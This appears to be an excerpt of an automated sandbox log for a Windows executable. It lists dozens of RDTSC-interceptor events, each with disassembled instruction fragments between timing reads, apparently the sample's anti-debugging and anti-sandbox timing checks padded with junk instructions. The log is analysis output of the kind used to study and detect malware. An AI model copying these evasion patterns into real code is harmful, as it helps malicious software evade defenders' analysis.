Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CFD1EA second address: CFD1F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F82B53DDA06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CFD1F9 second address: CFD209 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F82B4B869C6h 0x00000008 jbe 00007F82B4B869C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C45C11 second address: C45C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D00AB2 second address: D00AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D00AB6 second address: D00ACC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F82B53DDA0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D0C3D8 second address: D0C3F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F82B4B869D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D0C3F1 second address: D0C408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA11h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D0C408 second address: D0C40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D0C40E second address: D0C412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D0C412 second address: D0C43E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D5h 0x00000007 jne 00007F82B4B869C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jnl 00007F82B4B869C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D161C9 second address: D161CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D161CF second address: D161D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D161D3 second address: D161D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4911A second address: C49120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C49120 second address: C49124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C49124 second address: C49147 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F82B4B869C6h 0x00000008 jmp 00007F82B4B869D2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C49147 second address: C4916A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F82B53DDA19h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4916A second address: C49170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C49170 second address: C49174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D1F99C second address: D1F9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D1F9A0 second address: D1F9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D252EE second address: D25301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F82B4B869CAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25648 second address: D2564E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2564E second address: D25652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25652 second address: D25666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e ja 00007F82B53DDA06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25666 second address: D2566A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2566A second address: D25670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D257DE second address: D257F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D257F2 second address: D25811 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA13h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25971 second address: D25977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25977 second address: D25981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25C40 second address: D25C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D25C44 second address: D25C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA10h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C33F second address: D2C345 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C345 second address: D2C34A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C34A second address: D2C39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F82B4B869C6h 0x0000000a pop edi 0x0000000b jmp 00007F82B4B869D4h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ebx 0x00000014 jbe 00007F82B4B869C6h 0x0000001a jmp 00007F82B4B869D2h 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F82B4B869D2h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C39C second address: D2C3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C3A0 second address: D2C3A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C3A6 second address: D2C3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F82B53DDA12h 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D2C53A second address: D2C53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D6E5FD second address: D6E60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D6E60C second address: D6E611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D6E457 second address: D6E45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D6E45D second address: D6E4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F82B4B869D9h 0x0000000d pop edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F82B4B869D3h 0x00000016 popad 0x00000017 popad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007F82B4B869C6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D6E4A0 second address: D6E4AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007F82B53DDA06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D7E7CC second address: D7E7F8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F82B4B869C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F82B4B869CEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 jbe 00007F82B4B869C6h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F82B4B869D0h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: D7E7F8 second address: D7E7FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4A282 second address: E4A28B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4A5CC second address: E4A5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4A5D2 second address: E4A5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F82B4B869C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4CB6E second address: E4CB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4CB72 second address: E4CB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4CB76 second address: E4CB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F82B53DDA06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F464 second address: E4F46E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F82B4B869C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F64E second address: E4F65F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F65F second address: E4F663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F70D second address: E4F767 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F82B53DDA13h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dx, 971Fh 0x00000010 mov edx, dword ptr [ebp+122D19B7h] 0x00000016 push 00000004h 0x00000018 mov edx, 6FD4B228h 0x0000001d call 00007F82B53DDA09h 0x00000022 push eax 0x00000023 jbe 00007F82B53DDA08h 0x00000029 pop eax 0x0000002a push eax 0x0000002b jmp 00007F82B53DDA12h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F767 second address: E4F77C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F82B4B869C8h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E4F77C second address: E4F782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E511D1 second address: E511E1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F82B4B869C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E511E1 second address: E511E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E511E7 second address: E511EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E50D43 second address: E50D6A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F82B53DDA15h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: E52BA2 second address: E52BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F82B4B869D4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0019 second address: 6DC001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC001D second address: 6DC0021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0021 second address: 6DC0027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0027 second address: 6DC0036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0036 second address: 6DC004C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F82B53DDA0Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC004C second address: 6DC006E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov di, 6736h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F82B4B869CDh 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ch, 26h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC006E second address: 6DC0116 instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F82B53DDA0Bh 0x0000000d adc eax, 2FF3446Eh 0x00000013 jmp 00007F82B53DDA19h 0x00000018 popfd 0x00000019 popad 0x0000001a mov eax, dword ptr fs:[00000030h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F82B53DDA0Ch 0x00000027 sbb ecx, 7136EFE8h 0x0000002d jmp 00007F82B53DDA0Bh 0x00000032 popfd 0x00000033 jmp 00007F82B53DDA18h 0x00000038 popad 0x00000039 sub esp, 18h 0x0000003c jmp 00007F82B53DDA10h 0x00000041 xchg eax, ebx 0x00000042 jmp 00007F82B53DDA10h 0x00000047 push eax 0x00000048 jmp 00007F82B53DDA0Bh 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0116 second address: 6DC014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F82B4B869D0h 0x0000000a add ecx, 55EDB708h 0x00000010 jmp 00007F82B4B869CBh 0x00000015 popfd 0x00000016 popad 0x00000017 mov dx, si 0x0000001a popad 0x0000001b mov ebx, dword ptr [eax+10h] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov esi, 503C0E4Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC014D second address: 6DC015A instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov ecx, 11AA648Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC015A second address: 6DC01EF instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov edx, eax 0x0000000c mov edx, esi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F82B4B869D7h 0x00000017 and ch, 0000005Eh 0x0000001a jmp 00007F82B4B869D9h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F82B4B869D0h 0x00000026 xor al, 00000058h 0x00000029 jmp 00007F82B4B869CBh 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 jmp 00007F82B4B869D6h 0x00000036 mov esi, dword ptr [76EB06ECh] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007F82B4B869CDh 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC01EF second address: 6DC02C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F82B53DDA10h 0x00000010 jne 00007F82B53DE661h 0x00000016 pushad 0x00000017 mov cl, A9h 0x00000019 mov dh, 0Ah 0x0000001b popad 0x0000001c xchg eax, edi 0x0000001d pushad 0x0000001e call 00007F82B53DDA17h 0x00000023 mov si, 3E9Fh 0x00000027 pop ecx 0x00000028 popad 0x00000029 push eax 0x0000002a pushad 0x0000002b call 00007F82B53DDA10h 0x00000030 mov dx, cx 0x00000033 pop ecx 0x00000034 popad 0x00000035 xchg eax, edi 0x00000036 jmp 00007F82B53DDA18h 0x0000003b call dword ptr [76E80B60h] 0x00000041 mov eax, 7617E5E0h 0x00000046 ret 0x00000047 jmp 00007F82B53DDA10h 0x0000004c push 00000044h 0x0000004e pushad 0x0000004f call 00007F82B53DDA0Eh 0x00000054 pushfd 0x00000055 jmp 00007F82B53DDA12h 0x0000005a adc cl, FFFFFFF8h 0x0000005d jmp 00007F82B53DDA0Bh 0x00000062 popfd 0x00000063 pop ecx 0x00000064 mov di, CD3Ch 0x00000068 popad 0x00000069 pop edi 0x0000006a pushad 0x0000006b mov eax, edi 0x0000006d push eax 0x0000006e push edx 0x0000006f movsx edi, si 0x00000072 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC02C4 second address: 6DC02F6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F82B4B869D4h 0x00000008 xor al, FFFFFF88h 0x0000000b jmp 00007F82B4B869CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, edi 0x00000015 pushad 0x00000016 mov dx, ax 0x00000019 push eax 0x0000001a push edx 0x0000001b mov al, D8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC03C3 second address: 6DC03C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC03C7 second address: 6DC03CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC03CB second address: 6DC03D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC03D1 second address: 6DC041B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2317B0A4h 0x00000008 mov di, 3310h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esi], edi 0x00000011 jmp 00007F82B4B869CFh 0x00000016 mov dword ptr [esi+04h], eax 0x00000019 jmp 00007F82B4B869D6h 0x0000001e mov dword ptr [esi+08h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F82B4B869CAh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC041B second address: 6DC0421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: 6DC0421 second address: 6DC0432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869CDh 0x00000009 rdtsc
